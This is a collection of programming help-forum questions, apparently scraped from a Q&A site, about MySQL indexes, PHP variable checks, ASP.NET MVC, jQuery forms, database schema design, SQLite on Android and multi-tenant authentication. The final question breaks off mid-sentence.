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  • MySQL forgot about automatically creating an index for a foreign key?

    - by bobo
    After running the following SQL statements, you will see that, MySQL has automatically created the non-unique index question_tag_tag_id_tag_id on the tag_id column for me after the first ALTER TABLE statement has run. But after the second ALTER TABLE statement has run, I think MySQL should also automatically create another non-unique index question_tag_question_id_question_id on the question_id column for me. But as you can see from the SHOW INDEXES statement output, it's not there. Why does MySQL forget about the second ALTER TABLE statement? By the way, since I have already created a unique index question_id_tag_id_idx used by both question_id and tag_id columns. Is creating a separate index for each of them redundant? mysql> DROP DATABASE mydatabase; Query OK, 1 row affected (0.00 sec) mysql> CREATE DATABASE mydatabase; Query OK, 1 row affected (0.00 sec) mysql> USE mydatabase; Database changed mysql> CREATE TABLE question (id BIGINT AUTO_INCREMENT, html TEXT, PRIMARY KEY(id)) ENGINE = INNODB; Query OK, 0 rows affected (0.05 sec) mysql> CREATE TABLE tag (id BIGINT AUTO_INCREMENT, name VARCHAR(10) NOT NULL, UNIQUE INDEX name_idx (name), PRIMARY KEY(id)) ENGINE = INNODB; Query OK, 0 rows affected (0.05 sec) mysql> CREATE TABLE question_tag (question_id BIGINT, tag_id BIGINT, UNIQUE INDEX question_id_tag_id_idx (question_id, tag_id), PRIMARY KEY(question_id, tag_id)) ENGINE = INNODB; Query OK, 0 rows affected (0.00 sec) mysql> ALTER TABLE question_tag ADD CONSTRAINT question_tag_tag_id_tag_id FOREIGN KEY (tag_id) REFERENCES tag(id); Query OK, 0 rows affected (0.10 sec) Records: 0 Duplicates: 0 Warnings: 0 mysql> ALTER TABLE question_tag ADD CONSTRAINT question_tag_question_id_question_id FOREIGN KEY (question_id) REFERENCES question(id); Query OK, 0 rows affected (0.13 sec) Records: 0 Duplicates: 0 Warnings: 0 mysql> SHOW INDEXES FROM question_tag; +--------------+------------+----------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | Table | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Null | Index_type | Comment | +--------------+------------+----------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ | question_tag | 0 | PRIMARY | 1 | question_id | A | 0 | NULL | NULL | | BTREE | | | question_tag | 0 | PRIMARY | 2 | tag_id | A | 0 | NULL | NULL | | BTREE | | | question_tag | 0 | question_id_tag_id_idx | 1 | question_id | A | 0 | NULL | NULL | | BTREE | | | question_tag | 0 | question_id_tag_id_idx | 2 | tag_id | A | 0 | NULL | NULL | | BTREE | | | question_tag | 1 | question_tag_tag_id_tag_id | 1 | tag_id | A | 0 | NULL | NULL | | BTREE | | +--------------+------------+----------------------------+--------------+-------------+-----------+-------------+----------+--------+------+------------+---------+ 5 rows in set (0.01 sec) mysql>

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  • Best way to test for a variable's existence in PHP; isset() is clearly broken

    - by chazomaticus
    From the isset() docs: isset() will return FALSE if testing a variable that has been set to NULL. Basically, isset() doesn't check for whether the variable is set at all, but whether it's set to anything but NULL. Given that, what's the best way to actually check for the existence of a variable? I tried something like: if(isset($v) || @is_null($v)) (the @ is necessary to avoid the warning when $v is not set) but is_null() has a similar problem to isset(): it returns TRUE on unset variables! It also appears that: @($v === NULL) works exactly like @is_null($v), so that's out, too. How are we supposed to reliably check for the existence of a variable in PHP? Edit: there is clearly a difference in PHP between variables that are not set, and variables that are set to NULL: <?php $a = array('b' => NULL); var_dump($a); PHP shows that $a['b'] exists, and has a NULL value. If you add: var_dump(isset($a['b'])); var_dump(isset($a['c'])); you can see the ambiguity I'm talking about with the isset() function. Here's the output of all three of these var_dump()s: array(1) { ["b"]=> NULL } bool(false) bool(false) Further edit: two things. One, a use case. An array being turned into the data of an SQL UPDATE statement, where the array's keys are the table's columns, and the array's values are the values to be applied to each column. Any of the table's columns can hold a NULL value, signified by passing a NULL value in the array. You need a way to differentiate between an array key not existing, and an array's value being set to NULL; that's the difference between not updating the column's value and updating the column's value to NULL. Second, Zoredache's answer, array_key_exists() works correctly, for my above use case and for any global variables: <?php $a = NULL; var_dump(array_key_exists('a', $GLOBALS)); var_dump(array_key_exists('b', $GLOBALS)); outputs: bool(true) bool(false) Since that properly handles just about everywhere I can see there being any ambiguity between variables that don't exist and variables that are set to NULL, I'm calling array_key_exists() the official easiest way in PHP to truly check for the existence of a variable. (Only other case I can think of is for class properties, for which there's property_exists(), which, according to its docs, works similarly to array_key_exists() in that it properly distinguishes between not being set and being set to NULL.)

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  • MVC Bootstrap: Autocomplete doesn't show properly

    - by kicked11
    I have a MVC website and it had a searchbox with autocomplete, now I changed the layout using bootstrap. But now the autocomplete isn't been shown correctly anymore. See the picture the suggestions are not shown right. the autocomplete goes through the text. I was fine before I used bootstrap. I am using a SQL server to get the data and this is js file (I'm not good at ajax, i took it from a tutorial I followed) $(function () { var ajaxFormSubmit = function () { var $form = $(this); var options = { url: $form.attr("action"), type: $form.attr("method"), data: $form.serialize() }; $.ajax(options).done(function (data) { var $target = $($form.attr("data-aptitude-target")); var $newHtml = $(data); $target.replaceWith($newHtml); $newHtml.show("slide", 200); }); return false; }; var submitAutocompleteForm = function (event, ui) { var $input = $(this); $input.val(ui.item.label); var $form = $input.parents("form:first"); $form.submit(); }; var createAutocomplete = function () { var $input = $(this); var options = { source: $input.attr("data-aptitude-autocomplete"), select: submitAutocompleteForm }; $input.autocomplete(options); }; $("form[data-aptituder-ajax='true']").submit(ajaxFormSubmit); $("input[data-aptitude-autocomplete]").each(createAutocomplete); }); this is the form in my view <form method="get" action="@Url.Action("Index")" data-aptitude-ajax="true" data-aptitude-target="#testList"> <input type="search" name="searchTerm" data-aptitude-autocomplete="@Url.Action("Autocomplete")" /> <input type="submit" value=Search /> And this is part of the controller of the view public ActionResult Autocomplete(string term) { var model = db.tests .Where(r => term == null || r.name.Contains(term)) .Select(r => new { label = r.name }); return Json(model, JsonRequestBehavior.AllowGet); } // // GET: /Test/ public ActionResult Index(string searchTerm = null) { var model = db.tests .Where(r => searchTerm == null || r.name.StartsWith(searchTerm)); if (Request.IsAjaxRequest()) { return PartialView("_Test", model); } return View(model); } I'm new to ajax as well as bootstrap 3. I got the searchfunction and autocomplete from a tutorial I followed. Anybody any idea on how to fix this, because it worked fine? Thanks in advance!

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  • MVC Entity Framework: Cannot open user default database. Login failed.

    - by Michael
    This type of stuff drives me nuts. I'm having trouble finding the exact issue that I'm having, maybe I just don't know the terminology. Anyway, I had a working website using MVC and Entity Framework, but then I coded an error in a partial view page (ascx). Then all of a sudden I started to get this message. Cannot open user default database. Login failed. Login failed for user 'NT AUTHORITY\SYSTEM' I've found plenty of suggestions about opening SQL Server Management Studio, Double Click on Security, Double Click on Logins, Double click on NT AUTHORITY\SYSTEM and then double click on User Mapping. In this view I'm suppose to check the box for my database so that this user is mapped to this login. However, since I created my database in Visio Studio 2008 as part of my solution, it doesn't show up to allow me to click on it. So what do I do now? What drives me nuts is that everything was working fine. I was using my computer name to access the website and everything was working fine until the coding error. I've fix the error but still getting the error. I should also mention that this error started yesterday too around the same time but later cleared itself up. If I use localhost to access the site, it works just fine. IIS7 configuration for my website: Application Pool = DefaultAppPool Physical Path Credentials Logon = ClearText With in connection strings. I do see the one for my database in this solution. Entry Type is local metadata=res://*/Models.DataModel.csdl|res://*/Models.DataModel.ssdl|res://*/Models.DataModel.msl; provider=System.Data.SqlClient; provider connection string="Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\FFBall.mdf;Integrated Security=True;User Instance=True;MultipleActiveResultSets=True" And somewhere I remember changing the identity from Network Service to LocalSystem. Because when I first stared I was getting this same message, but I changed this value and it started working. I saw that suggested somewhere too but I do not recall. Wait I remember now, I believe in IIS7, under Application Pools, DefaultAppPool identity is set to LocalSystem. Additional things I've tried. Restart the computer Recycle the application pool. Antivirus isn't running. Any help would be appreciated. Thank you in advance.

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  • jQuery: form input values turns up undefined

    - by Seerumi
    Having problem with this bit of code qith jQuery. it should pick the values from current form and then submit them, but when I try to get them with jQuery they always turn up undefined. I know the SQL results are fine since they show correctly in HTML table, so it must be my inferior javascript skills. New with jQuery and I'm at loss :( PHP/HTML: echo "<table>\n" while ($row = odbc_fetch_array($query)) { echo "<form class='catForm'>\n"; echo "<input type=hidden class='catID' name='catID' value='".$row['running_id']."'/>\n"; echo "<tr>\n"; echo "<td>".$row['running_id']."</td>\n"; echo "<td>".$row['site_id']."</td>\n"; echo "<td>".$row['main_category']."</td>\n"; echo "<td>".$row['map_name']."</td>\n"; echo "<td><input type=textfield class='bCatID' value='".$row['mapping_id']."' size=6/></td>\n"; echo "<td><input type=submit class='saveCat' value='Save'/></td>\n"; echo "<td><input type=submit class='killCat' value='Delete' /></td>\n"; echo "</tr>\n"; echo "</form>\n"; } echo "</table>"; jQuery: $(".catForm").submit(function () { var id = $(this).find('.catID').val(); var bCatID = $(this).find('.bCatID').val(); var dataString = 'id='+id+'&bCatID='+bCatID; $.ajax({ type: "POST", url: 'adminUI/bin/updateSCategories.php', dataType : 'json', data: dataString, success: function(data) { if (data.error == true) $('.failure').html("Error, save failed.").show().fadeOut(2000); if (data.error == false) $('.success').html("Saved succesfully").show().fadeOut(2000); }, error: function(XMLHttpRequest, textStatus, errorThrown) { $('.failure').html("Error, save failed.").show().fadeOut(2000); } }); return false; }); RESULT: id: undefined bCatID: undefined

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  • MySQL error problem

    - by comma
    I keep getting the error listed below but it only says line 1 what does this mean and how do I fix it? Here is the error I keep getting? You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' at line 1 here is the code. if (isset($_POST['info_submitted'])) { $user_id = '5'; $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $dbc = mysqli_query($mysqli,"SELECT learned_skills.*, users_skills.* FROM learned_skills INNER JOIN users_skills ON learned_skills.id = users_skills.skill_id WHERE user_id='$user_id'"); $skill = $_POST['skill']; $experience = $_POST['experience']; $year = $_POST['year']; if (mysqli_num_rows($dbc) == 0) { $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $query1 = mysqli_query($mysqli,"INSERT INTO learned_skills (skill, experience, year) VALUES ('" . $skill . "', '" . $experience . "', '" . $year . "')"); } if (!mysqli_query($mysqli, $query1)) { print mysqli_error($mysqli); return; } $mysqli = mysqli_connect("localhost", "root", "", "sitename"); $dbc = mysqli_query($mysqli,"SELECT id FROM learned_skills WHERE id='" . $skill . "' AND experience='" . $experience . "' AND year='" . $year . "'"); if (!$dbc) { print mysqli_error($mysqli); } else { while($row = mysqli_fetch_array($dbc)){ $id = $row["id"]; } } $query2 = "INSERT INTO users_skills (skill_id, user_id, date_created) VALUES ('$id', '$user_id', NOW())"; if (!mysqli_query($mysqli, $query2)) { print mysqli_error($mysqli); return; } if ($dbc == TRUE) { $dbc = mysqli_query($mysqli,"UPDATE learned_skills JOIN users_skills ON (users_skills.skill_id = learned_skills.id) SET skill = '$skill', experience = '$experience', year = '$year'"); echo '<p class="changes-saved">Your changes have been saved!</p>'; } if (!$dbc) { print mysqli_error($mysqli); return; } }

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  • Using jQuery to store basic text string in mySQL base?

    - by Kenny Bones
    Could someone point me in the right direction here? Basically, I've got this jQuery code snippet: $('.bggallery_images').click(function () { var newBG = "url('" + $(this).attr('src'); var fullpath = $(this).attr('src'); var filename = fullpath.replace('img/Bakgrunner/', ''); $('#wrapper').css('background-image', newBG); // Lagre til SQL $.ajax({ url: "save_to_db.php", // The url to your function to handle saving to the db data: filename, dataType: 'Text', type: 'POST', // Could also use GET if you prefer success: function (data) { // Just for testing purposes. alert('Background changed to: ' + data); } }); }); This is being run when I click a certain button. So it's actually within a click handler. If I understand this correctly, this snippet takes the source if the image I just clicked and strips it so I end up with only the filename. If I do an alert(filename), I get the filename only. So this is working ok. But then, it does an ajax call to a php file called "save_to_db.php" and sends data: filename. This is correct right? Then, it does a callback which does an alert + data. Does this seem correct so far? Cause my php file looks like this: <?php require("dbconnect2.php"); $uploadstring = $_POST['filename']; $sessionid = $_SESSION['id']; echo ($sessionid); mysql_query("UPDATE brukere SET brukerBakgrunn = '$uploadstring' WHERE brukerID=" .$_SESSION['id']); mysql_close(); ?> When I click the image, the jQuery snippet fires and I get the results of this php file as output for the alert box. I think that the variables somehow are empty. Because notice the echo($sessionid); which is a variable I've created just to test what the session ID is. And it returns nothing. What could be the issue here? Edit: I just tried to echo out the $uploadstring variable as well and it also returns nothing. It's like the jQuery snippet doesn't even pass the variable on to the php file?

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  • how to design this relation in a DB schema

    - by raticulin
    I have a table Car in my db, one of the columns is purchaseDate. I want to be able to tag every car with a number of Policies (limited to 10 policies). Each policy has a time to life (ttl, a duration of time, like '5 years', '10 months' etc), that is, for how long since the car's purchaseDate the policy can be applied. I need to perform the following actions: when inserting a Car, it will be set with a number of Policies (at least one is set) sometimes a Car will be updated to add/remove a Policy searches must be done taking into account date/policies, for example: 'select all cars that are not covered by any policy as of today' My current design is (pol0..pol9 are the policies): CREATE TABLE Car ( id int NOT NULL IDENTITY(1,1), purchaseDate datetime NOT NULL, //more stuff... pol0 smallint default NULL, pol1 smallint default NULL, pol2 smallint default NULL, pol3 smallint default NULL, pol4 smallint default NULL, pol5 smallint default NULL, pol6 smallint default NULL, pol7 smallint default NULL, pol8 smallint default NULL, pol9 smallint default NULL, PRIMARY KEY (id) ) CREATE TABLE Policy ( id smallint NOT NULL, name varchar(50) collate Latin1_General_BIN NOT NULL, ttl varchar(100) collate Latin1_General_BIN NOT NULL, PRIMARY KEY (id) ) The problem I am facing is that the sql to perform the query above is a nightmare to write. As I don't know in which column each policy can be, so I have to check all columns for every policy etc etc. So I am wondering wether it is worth changing this. My questions are: The smallint as Policy id was chosen instead of an 'int IDENTITY' in order to save some space as there are going to be millions of Car records. It just adds complexity when creating a Policy as we must handle the id etc. Was it worth doing this? I am thinking that maybe there is a much better design? Obviously we could move the policy/car relation to its own table CarPolicy, benefits would be: no limit on 10 policies per car adding/removing etc much easier when only the default policy is applied (when no others are applied one called Default policy is applied), we could signal that by not having any entry in CarPolicy, now this is just done inserting the Default policy id in one of the columns. The cons are that we would need to change the DB, ORM classes etc. What would you recommend? Maybe there is another smart way to implement this that we are not aware without using the CarPolicy table?

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  • ASP.NET MVC: How can I explain an invalid type violation to an end-user with Html.ValidationSummary?

    - by Terminal Frost
    Serious n00b warning here; please take mercy! So I finished the Nerd Dinner MVC Tutorial and I'm now in the process of converting a VB.NET application to ASP.NET MVC using the Nerd Dinner program as a sort of rough template. I am using the "IsValid / GetRuleViolations()" pattern to identify invalid user input or values that violate business rules. I am using LINQ to SQL and am taking advantage of the "OnValidate()" hook that allows me to run the validation and throw an application exception upon trying to save changes to the database via the CustomerRepository class. Anyway, everything works well, except that by the time the form values reach my validation method invalid types have already been converted to a default or existing value. (I have a "StreetNumber" property that is an integer, though I imagine this would be a problem for DateTime or any other non-strings as well.) Now, I am guessing that the UpdateModel() method throws an exception and then alters the value because the Html.ValidationMessage is displayed next to the StreetNumber field but my validation method never sees the original input. There are two problems with this: While the Html.ValidationMessage does signal that something is wrong, there is no corresponding entry in the Html.ValidationSummary. If I could even get the exception message to show up there indicating an invalid cast or something that would be better than nothing. My validation method which resides in my Customer partial class never sees the original user input so I do not know if the problem is a missing entry or an invalid type. I can't figure out how I can keep my validation logic nice and neat in one place and still get access to the form values. I could of course write some logic in the View that processes the user input, however that seems like the exact opposite of what I should be doing with MVC. Do I need a new validation pattern or is there some way to pass the original form values to my model class for processing? CustomerController Code // POST: /Customers/Edit/[id] [AcceptVerbs(HttpVerbs.Post)] public ActionResult Edit(int id, FormCollection formValues) { Customer customer = customerRepository.GetCustomer(id); try { UpdateModel(customer); customerRepository.Save(); return RedirectToAction("Details", new { id = customer.AccountID }); } catch { foreach (var issue in customer.GetRuleViolations()) ModelState.AddModelError(issue.PropertyName, issue.ErrorMessage); } return View(customer); }

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  • Schema to support dynamic properties

    - by Johan Fredrik Varen
    Hi people. I'm working on an editor that enables its users to create "object" definitions in real-time. A definition can contain zero or more properties. A property has a name a type. Once a definition is created, a user can create an object of that definition and set the property values of that object. So by the click of a mouse-button, the user should ie. be able to create a new definition called "Bicycle", and add the property "Size" of type "Numeric". Then another property called "Name" of type "Text", and then another property called "Price" of type "Numeric". Once that is done, the user should be able to create a couple of "Bicycle" objects and fill in the "Name" and "Price" property values of each bike. Now, I've seen this feature in several software products, so it must be a well-known concept. My problem started when I sat down and tried to come up with a DB schema to support this data structure, because I want the property values to be stored using the appropriate column types. Ie. a numeric property value is stored as, say, an INT in the database, and a textual property value is stored as VARCHAR. First, I need a table that will hold all my object definitions: Table obj_defs id | name | ---------------- 1 | "Bicycle" | 2 | "Book" | Then I need a table for holding what sort of properties each object definition should have: Table prop_defs id | obj_def_id | name | type | ------------------------------------ 1 | 1 | "Size" | ? | 2 | 1 | "Name" | ? | 3 | 1 | "Price" | ? | 4 | 2 | "Title" | ? | 5 | 2 | "Author" | ? | 6 | 2 | "ISBN" | ? | I would also need a table that holds each object: Table objects id | created | updated | ------------------------------ 1 | 2011-05-14 | 2011-06-15 | 2 | 2011-05-14 | 2011-06-15 | 3 | 2011-05-14 | 2011-06-15 | Finally, I need a table that will hold the actual property values of each object, and one solution is for this table to have one column for each possible value type, such as this: Table prop_vals id | prop_def_id | object_id | numeric | textual | boolean | ------------------------------------------------------------ 1 | 1 | 1 | 27 | | | 2 | 2 | 1 | | "Trek" | | 3 | 3 | 1 | 1249 | | | 4 | 1 | 2 | 26 | | | 5 | 2 | 2 | | "GT" | | 6 | 3 | 2 | 159 | | | 7 | 4 | 3 | | "It" | | 8 | 5 | 3 | | "King" | | 9 | 6 | 4 | 9 | | | If I implemented this schema, what would the "type" column of the prop_defs table hold? Integers that each map to a column name, varchars that simply hold the column name? Any other possibilities? Would a stored procedure help me out here in some way? And what would the SQL for fetching the "name" property of object 2 look like?

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  • .Net Remote Log Querying

    - by jlafay
    I have a Win Service that I'm working on that consists of the service, WF Service (using WorkflowServiceHost), a Workflow (WorkflowApplication) that queries/processes data from a SQL Server DB, and a Comm Marshall class that handles data flow between the service and the WF. The WF does a lot of heavy data processing and the original app (early VB6) logged all the processing and displayed the results on the screen of the host machine. Critical events will be committed to eventlog because I strongly believe that should be common practice because admins naturally will look there and because it already has support for remote viewing. The workflow will also need to write logging events as it processes and iterates according to our business logic. Such as: records queried, records returned, processed records, etc. The data is very critical and we need to log actions as they occur. The logs are currently kept as text files on disk and I think that is ok. Ideally I would like to record log events in XML so it's easier to query and because it is less costly than a DB, especially since our DB servers do a lot of heavy processing anyways. Since we are replacing essentially a VB6 application with a robust windows service (taking advantage of WF 4.0), it has been requested that a remote client also be created. It receives callbacks from the service after subscribing to it and being added to a collection of subscribers. Basic statistics and summaries are updated client side after receiving basic monitoring data of what is going on with the service. We would like to also provide a way to provide details when we need to examine what is going on further because this is a long running data processing service and issues need to be addressed immediately. What is the best way to implement some type of query from the client that is sent to the service and returned to the client? Would it be efficient to implement another method to expose on the service and then have that pass that off to some querying class/object to examine the XML files by whichever specification and then return it to the client? That's the main concern. I don't want the service to processing to bottleneck much while this occurs. It seems that WF already auto-magically threads well for the most part but I want to make sure this is the right way to go about it. Any suggestions/recommendations on how to architect and implement a small log querying framework for a remote service would be awesome.

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  • Help to argue why to develop software on a physical computer rather than via a remote desktop

    - by s5804
    Remote desktops are great and many times a blessing and cost effective (instead of leasing expensive cables). I am not arguing against remote desktops, just if one have the alternative to use either remote desktop or physical computer, I would choose the later. Also note that I am not arguing for or against remote work practices. But in my case I am required to be physically present in the office when developing software. Background, I work in a company which main business is not to develop software. Therefore the company IT policies are mainly focused on security and to efficiently deploying/maintaing thousands of computer to users. Further, the typical employee runs typical Office applications, like a word processors. Because safety/stability is such a big priority, every non production system/application, shall be deployed into a physical different network, called the test network. Software development of course also belongs in the test network. To access the test network the company has created a standard policy, which dictates that access to the test network shall go only via a remote desktop client. Practically from ones production computer one would open up a remote desktop client to a virtual computer located in the test network. On the virtual computer's remote desktop one would be able to access/run/install all development tools, like Eclipse IDE. Another solution would be to have a dedicated physical computer, which is physically only connected to the test network. Both solutions are available in the company. I have tested both approaches and found running Eclipse IDE, SQL developer, in the remote desktop client to be sluggish (keyboard strokes are delayed), commands like alt-tab takes me out of the remote client, enjoying... Further, screen resolution and colors are different, just to mention a few. Therefore there is nothing technical wrong with the remote client, just not optimal and frankly de-motivating. Now with the new policies put in place, plans are to remove the physical computers connected to the test network. I am looking for help to argue for why software developers shall have a dedicated physical software development computer, to be productive and cost effective. Remember that we are physically in office. Further one can notice that we are talking about approx. 50 computers out of 2000 employees. Therefore the extra budget is relatively small. This is more about policy than cost. Please note that there are lots of similar setups in other companies that work great due to a perfectly tuned systems. However, in my case it is sluggish and it would cost more money to trouble shoot the performance and fine tune it rather than to have a few physical computers. As a business case we have argued that productivity will go down by 25%, however it's my feeling that the reality is probably closer to 50%. This business case isn't really accepted and I find it very difficult to defend it to managers that has never ever used a rich IDE in their life, never mind developed software. Further the test network and remote client has no guaranteed service level, therefore it is down for a few hours per month with the lowest priority on the fix list. Help is appreciated.

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  • Spring MVC application - URL gives No file found (404)

    - by user1700184
    I created a Spring-MVC project. web.xml: <servlet> <servlet-name>mvc-dispatcher</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>mvc-dispatcher</servlet-name> <url-pattern>/soundmails</url-pattern> </servlet-mapping> mvc-dispatcher-servlet.xml <?xml version="1.0"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:context="http://www.springframework.org/schema/context" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd"> <mvc:annotation-driven /> <context:component-scan base-package="somepkg.controllers" /> <bean id="multipartResolver" class="org.gmr.web.multipart.GMultipartResolver"> <property name="maxUploadSize" value="1048576" /> </bean> <bean id="placeholderConfig" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <!-- property name="location"> <value>/WEB-INF/social.properties</value> </property--> </bean> <bean id="jacksonMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter"></bean> <bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter"> <property name="messageConverters"> <list> <ref bean="jacksonMessageConverter"/> </list> </property> </bean> </beans> The controller has this code: ProjectController.java @Controller @RequestMapping("/soundmails") public class FileUploadController { @RequestMapping(value="/test", method=RequestMethod.GET) public @ResponseBody String test() { System.out.println("Hai"); return "Hai"; } } I am using Google App Engine in my local machine to test this. I am getting these in my log: [INFO] Oct 24, 2013 1:54:18 AM com.google.appengine.tools.development.LocalResourceFileServlet doGet [INFO] WARNING: No file found for: /soundmails/test I tried /soundmails/soundmails/test as well. That is also giving the same error. I am using Spring 3.1.0.RELEASE Can someone help me figure out what I am missing - /soundmails/test is giving 404 error. Edit I am unable to enable DEBUG logs for this. For some reason, it is not taking log level configured in logging.properties But I observed something interesting: 1) If I map the request to empty string (value = "") @RequestMapping(value="", method=RequestMethod.GET) public @ResponseBody String test() { System.out.println("Hai"); return "Hai"; } Then, when I try to access 127.0.0.1/soundmails, it works fine (returns string "Hai"). 2) When I have value="/test" @RequestMapping(value="/test", method=RequestMethod.GET) public @ResponseBody String test() { System.out.println("Hai"); return "Hai"; } and I try to access 127.0.0.1/soundmails/test, it is giving HTTP 404. This is weird.

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  • What regular expression(s) would I use to remove escaped html from large sets of data.

    - by Elizabeth Buckwalter
    Our database is filled with articles retrieved from RSS feeds. I was unsure of what data I would be getting, and how much filtering was already setup (WP-O-Matic Wordpress plugin using the SimplePie library). This plugin does some basic encoding before insertion using Wordpress's built in post insert function which also does some filtering. I've figured out most of the filters before insertion, but now I have whacko data that I need to remove. This is an example of whacko data that I have data in one field which the content I want in the front, but this part removed which is at the end: <img src="http://feeds.feedburner.com/~ff/SoundOnTheSound?i=xFxEpT2Add0:xFbIkwGc-fk:V_sGLiPBpWU" border="0"></img> <img src="http://feeds.feedburner.com/~ff/SoundOnTheSound?d=qj6IDK7rITs" border="0"></img> &lt;img src=&quot;http://feeds.feedburner.com/~ff/SoundOnTheSound?i=xFxEpT2Add0:xFbIkwGc-fk:D7DqB2pKExk&quot; Notice how some of the images are escape and some aren't. I believe this has to do with the last part being cut off so as to be unrecognizable as an html tag, which then caused it to be html endcoded. Another field has only this which is now filtered before insertion, but I have to get rid of the others: &lt;img src=&quot;http://farm3.static.flickr.com/2183/2289902369_1d95bcdb85.jpg&quot; alt=&quot;post_img&quot; width=&quot;80&quot; (all examples are on one line, but broken up for readability) Question: What is the best way to work with the above escaped html (or portion of an html tag)? I can do it in Perl, PHP, SQL, Ruby, and even Python. I believe Perl to be the best at text parsing, so that's why I used the Perl tag. And PHP times out on large database operations, so that's pretty much out unless I wanted to do batch processing and what not. PS One of the nice things about using Wordpress's insert post function, is that if you use php's strip_tags function to strip out all html, insert post function will insert <p> at the paragraph points. Let me know if there's anything more that I can answer. Some article that didn't quite answer my questions. (http://stackoverflow.com/questions/2016751/remove-text-from-within-a-database-text-field) (http://stackoverflow.com/questions/462831/regular-expression-to-escape-html-ampersands-while-respecting-cdata)

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  • Sqlite issues with HTC Desire HD

    - by Greg
    Recently I have been getting a lot of complaints about the HTC Desire series and it failing while invoking sql statements. I have received reports from users with log snapshots that contain the following. I/Database( 2348): sqlite returned: error code = 8, msg = statement aborts at 1: [pragma journal_mode = WAL;] E/Database( 2348): sqlite3_exec to set journal_mode of /data/data/my.app.package/files/localized_db_en_uk-1.sqlite to WAL failed followed by my app basically burning in flames because the call to open the database results in a serious runtime error that manifests itself as the cursor being left open. There shouldn't be a cursor at this point as we are trying to open it. This only occurs with the HTC Desire HD and Z. My code basically does the following (changed a little to isolate the problem area). SQLiteDatabase db; String dbName; public SQLiteDatabase loadDb(Context context) throws IOException{ //Close any old db handle if (db != null && db.isOpen()) { db.close(); } // The name of the database to use from the bundled assets. String dbAsset = "/asset_dir/"+dbName+".sqlite"; InputStream myInput = context.getAssets().open(dbAsset, Context.MODE_PRIVATE); // Create a file in the app's file directory since sqlite requires a path // Not ideal but we will copy the file out of our bundled assets and open it // it in another location. FileOutputStream myOutput = context.openFileOutput(dbName, Context.MODE_PRIVATE); byte[] buffer = new byte[1024]; int length; while ((length = myInput.read(buffer)) > 0) { myOutput.write(buffer, 0, length); } // Close the streams myOutput.flush(); // Guarantee Write! myOutput.getFD().sync(); myOutput.close(); myInput.close(); // Not grab the newly written file File fileObj = context.getFileStreamPath(dbName); // and open the database return db = SQLiteDatabase.openDatabase(fileObj.getAbsolutePath(), null, SQLiteDatabase.OPEN_READONLY | SQLiteDatabase.NO_LOCALIZED_COLLATORS); } Sadly this phone is only available in the UK and I don't have one in my inventory. I am only getting reports of this type from the HTC Desire series. I don't know what changed as this code has been working without any problem. Is there something I am missing?

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  • Generating Unordered List with PHP + CodeIgniter from a MySQL Database

    - by Tim
    Hello Everyone, I am trying to build a dynamically generated unordered list in the following format using PHP. I am using CodeIgniter but it can just be normal php. This is the end output I need to achieve. <ul id="categories" class="menu"> <li rel="1"> Arts &amp; Humanities <ul> <li rel="2"> Photography <ul> <li rel="3"> 3D </li> <li rel="4"> Digital </li> </ul> </li> <li rel="5"> History </li> <li rel="6"> Literature </li> </ul> </li> <li rel="7"> Business &amp; Economy </li> <li rel="8"> Computers &amp; Internet </li> <li rel="9"> Education </li> <li rel="11"> Entertainment <ul> <li rel="12"> Movies </li> <li rel="13"> TV Shows </li> <li rel="14"> Music </li> <li rel="15"> Humor </li> </ul> </li> <li rel="10"> Health </li> And here is my SQL that I have to work with. -- -- Table structure for table `categories` -- CREATE TABLE IF NOT EXISTS `categories` ( `id` mediumint(8) NOT NULL auto_increment, `dd_id` mediumint(8) NOT NULL, `parent_id` mediumint(8) NOT NULL, `cat_name` varchar(256) NOT NULL, `cat_order` smallint(4) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; So I know that I am going to need at least 1 foreach loop to generate the first level of categories. What I don't know is how to iterate inside each loop and check for parents and do that in a dynamic way so that there could be an endless tree of children. Thanks for any help you can offer. Tim

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  • using a Singleton to pass credentials in a multi-tenant application a code smell?

    - by Hans Gruber
    Currently working on a multi-tenant application that employs Shared DB/Shared Schema approach. IOW, we enforce tenant data segregation by defining a TenantID column on all tables. By convention, all SQL reads/writes must include a Where TenantID = '?' clause. Not an ideal solution, but hindsight is 20/20. Anyway, since virtually every page/workflow in our app must display tenant specific data, I made the (poor) decision at the project's outset to employ a Singleton to encapsulate the current user credentials (i.e. TenantID and UserID). My thinking at the time was that I didn't want to add a TenantID parameter to each and every method signature in my Data layer. Here's what the basic pseudo-code looks like: public class UserIdentity { public UserIdentity(int tenantID, int userID) { TenantID = tenantID; UserID = userID; } public int TenantID { get; private set; } public int UserID { get; private set; } } public class AuthenticationModule : IHttpModule { public void Init(HttpApplication context) { context.AuthenticateRequest += new EventHandler(context_AuthenticateRequest); } private void context_AuthenticateRequest(object sender, EventArgs e) { var userIdentity = _authenticationService.AuthenticateUser(sender); if (userIdentity == null) { //authentication failed, so redirect to login page, etc } else { //put the userIdentity into the HttpContext object so that //its only valid for the lifetime of a single request HttpContext.Current.Items["UserIdentity"] = userIdentity; } } } public static class CurrentUser { public static UserIdentity Instance { get { return HttpContext.Current.Items["UserIdentity"]; } } } public class WidgetRepository: IWidgetRepository{ public IEnumerable<Widget> ListWidgets(){ var tenantId = CurrentUser.Instance.TenantID; //call sproc with tenantId parameter } } As you can see, there are several code smells here. This is a 